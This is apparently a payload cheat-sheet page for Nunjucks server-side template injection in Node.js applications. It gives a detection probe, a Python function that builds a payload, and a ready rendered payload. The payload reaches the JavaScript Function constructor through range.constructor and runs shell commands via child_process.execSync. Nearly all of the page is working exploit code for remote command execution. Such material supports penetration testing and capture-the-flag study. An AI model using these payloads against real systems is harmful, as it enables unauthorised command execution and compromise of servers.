Skip to content
Nunjucks RCE

Nunjucks RCE

Nunjucks SSTI RCE via Function constructor

Builds a Nunjucks payload that creates a JavaScript function through range.constructor() and executes a command with Node.js child_process.execSync().

Testing

An evaluated arithmetic expression renders 49, confirming that the input reaches the template engine as template source rather than plain data.

{{ 7 * 7 }}

Command execution

Nunjucks exposes range as a global function. Its constructor property reaches the JavaScript Function constructor, which evaluates the supplied function body. The generated function reaches the Node.js process object, loads child_process through getBuiltinModule(), executes the command, and converts the returned buffer to a string.

import json

def nunjucks_execsync_payload(command):
    javascript = "return global.process.getBuiltinModule('child_process').execSync(" + json.dumps(command) + ").toString()"
    payload = "{{ range.constructor(" + json.dumps(javascript) + ")() }}"
    return payload

Rendered payload

{{ range.constructor("return global.process.getBuiltinModule('child_process').execSync('id').toString()")() }}

Find by: ssti, nunjucks, nodejs, node, template injection, range constructor, function constructor, global process, getBuiltinModule, child_process, execSync, command execution · Source: Nunjucks documentation + HTB/WayWitch + HTB/PhantomScript